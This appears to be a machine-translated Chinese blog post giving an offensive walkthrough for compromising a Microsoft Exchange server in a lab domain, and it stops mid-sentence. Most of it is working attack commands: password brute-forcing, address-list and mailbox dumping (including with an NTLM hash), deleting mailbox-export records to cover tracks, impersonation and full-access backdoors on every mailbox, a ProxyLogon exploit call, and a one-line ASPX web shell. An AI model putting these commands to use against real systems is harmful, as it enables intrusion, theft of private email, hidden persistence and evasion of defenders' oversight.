发布于2025年12月5日12月5日 在渗透过程中,Exchange邮件服务器通常是我们关注的焦点。因为拿掉Exchange邮件服务器后,凭借其机器帐户的权限,我们可以给其他域中的用户授予dcsync权限,然后导出域中的哈希并拿下整个域。 要在exchange系统中配置powershell,请使用命令https://learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps 扫描服务 setspn.exe setspn.exe -T vvvv1.com -F -Q */* |查找字符串交换 nmap nmap 192.168.52.139-A 检测版本和漏洞 通过ews接口获取交易所准确的版本信息 缺点:一些旧的交易所版本不支持此操作。 通过OWA接口获取交换粗略版本信息 获取版本号后,您可以前往官网查看对应的Exchange版本及发布日期。 查询地址: https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016 使用脚本检测版本和漏洞 https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py 爆炸 python2 EBurst.py -d 192.168.52.139 -C 您还可以使用此工具破解用户帐户密码。 python2 EBurst.py -d 192.168.52.139 -L ./users.txt -P ./passwords.txt --ews 信息收集 假设已经获取了其中一位邮件用户的凭据,接下来就可以进行信息收集了。 通过自动发现收集信息 通过https://Exchange/autodiscover/autodiscover.xml接口,您可以接受xml请求并返回xml中指定的电子邮件所属的邮箱配置。 由于NTLMv2认证需要HTTP/1.1连接,而新版本的burpsuit默认为HTTP/2,所以我们需要先进行调整。 https://blog.csdn.net/qq_30786785/article/details/121742101 读取配置等操作请参考以下链接。 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-交换-自动发现%E7%9A%84%E4%BD%BF%E7%94%A8 basic是身份验证,使用base64加密VVVV1\administrator:admin!@#456 POST /autodiscover/autodiscover.xml HTTP/1.1 主机: 192.168.52.139 User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/114.0.0.0 Safari/537.36 授权:基本VlZWVjFcYWRtaW5pc3RyYXRvcjphZG1pbiFAIzQ1Ng== 内容类型: 文本/xml 内容长度: 350 自动发现xmlns='http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006' 请求 电子邮件地址[email protected]/EMailAddress AcceptableResponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/AcceptableResponseSchema /请求 /自动发现 如果邮箱不存在则返回 如果邮箱存在则返回配置信息 获取交易所通讯录 全局地址列表(GAL) 包含Exchange 组织中所有邮箱用户的电子邮件地址。只要获得交换组织中任意邮箱用户的凭据,就可以导出其他邮箱用户的电子邮件地址。 GAL 可以使用OWA、EWS、OAB、RPC over HTTP、MAPI over HTTP 等获取。 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95 https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ 使用OWA直接查看 人员- 所有用户 通过/EWS接口获取GAL Powershell -ExecutionPolicy 绕过 导入模块.\MailSniper.ps1 Get-GlobalAddressList -ExchHostname 192.168.52.139 -用户名VVVV1\administrator -密码admin!@#456 -OutFile gal.txt 通过OAB获取GAL 1.通过自动发现收集的OAB路径; 2.访问/OAB/OABURI/oab.xml; 3、通过oab.xml找到默认全局地址表对应的LZX文件地址,访问/OAB/OABURI/LZXURI获取LZX文件; 4、使用cabextract工具解码LZX文件并恢复GAL; https://www.cabextract.org.uk/ 通过 HTTP 上的 RPC (MAPI) 导出 GAL 和信息收集 MAPI OVER HTTP 是Outlook 和Exchange2016 之间的默认通信协议 MAPI OVER HTTP 是在Exchange Server 2013 Service Pack 1 (SP1) 中实现的新传输协议,用于取代RPC OVER HTTP(也称为Outlook Anywhere) Exchange2013默认不启用MAPI OVER HTTP,Outlook和Exchange之间的通信协议使用RPC OVER HTTP。 使用impacket-exchanger模块列出地址列表,找到对应的guid python Exchanger.py VVVV1/admins:User!@#[email protected] 列表表 导出所有用户 python Exchanger.py VVVV1/admins:User!@#[email protected] dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738 通过python远程导出GAL python ewsManage_Downloader.py 192.168.52.139 443 明文vvvv1.com admins 用户!@#45 findallpeople : 导出电子邮件内容 直接通过/OWA界面下载电子邮件 通过输入账户密码,然后直接在页面上阅读或下载邮件 通过/EWS接口导出电子邮件内容 通过python远程导出邮件 可以通过纯文本密码或哈希导出。 python ewsManage_Downloader.py 192.168.52.139 443 明文vvvv1.com 管理员admin!@#456 下载 python ewsManage_Downloader.py test.com 80 ntlmhash NULL user1 c5a237b7e9d8e708d8436b6148a25fa1 findallpeople 通过python 导出电子邮件通常是使用SOAP XML 消息完成的。 XML元素官方文档: https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange 通过exshell.ps1导出邮件 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D% E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6 Powershell.exe -psconsolefile 'C:\\程序文件\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1' -command 'New-MailboxExportrequest -邮箱管理员-filepath '\\localhost\c$\exchange1.pst' 当然,导出邮件后,我们还需要清除导出邮件的痕迹。 查看电子邮件导出请求记录 Powershell.exe -psconsolefile 'C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1' -command 'Get-MailboxExportRequest' 删除导出日志记录 Powershell.exe -psconsolefile 'C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1' -command 'remove-MailboxExportRequest' Identity参数就是上图中的Mailbox参数 Powershell.exe -psconsolefile 'C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1' -command 'remove-MailboxExportRequest -Identity 'vvvv1.com/Users/Administrator\MailboxExport' -Confirm:$false' 邮箱接管后门种植 配置模拟权限 https://4sysops.com/archives/exchange-impersonation-grant-permissions-to-service-accounts/ 只需添加以下权限即可。 验证您是否具有模拟权限: https://192.168.52.139/ecp/[email protected]/ 具体使用需要结合脚本文件。 查看具有模拟权限的成员 获取管理角色分配-Role:ApplicationImpersonation Powershell.exe -psconsolefile 'C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1' -command 'Get-ManagementRoleAssignment -Role:ApplicationImpersonation' 创建具有模拟权限的新成员 新管理角色分配-Role:ApplicationImpersonation -User:[email protected] 删除新添加的具有模拟权限的成员 删除管理角色分配“ApplicationImpersonation-admins” 配置完全访问权限 https://blog.csdn.net/weixin_34123613/article/details/90079532 Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} |添加-MailboxPermission -用户管理员-AccessRights fullaccess -InheritanceType all 取消完全访问权限 Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} |删除-MailboxPermission -用户管理员-AccessRights fullaccess -InheritanceType all 验证完全访问权限 漏洞攻击 python ProxyLogon.py --host=exchange.com [email protected] aspx木马:脚本语言='JScript' runat='服务器' function Page\_Load(){/\*\*/eval(Request\['command'\],'unsafe');}/script 渗透后阶段 Exchange服务器信息收集 获取exchange默认安装路径 回显%ExchangeInstallPath% 控制台文件的相对位置是%ExchangeInstallPath%\Bin\exshell.ps1 获取所有电子邮件信息 powershell.exe -psconsolefile 'C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1' -command 'get-mailbox -resultsize unlimited' 分析电子邮件跟踪日志 邮件跟踪日志位于%ExchangeInstallPath%\TransportRo
创建帐户或登录后发表意见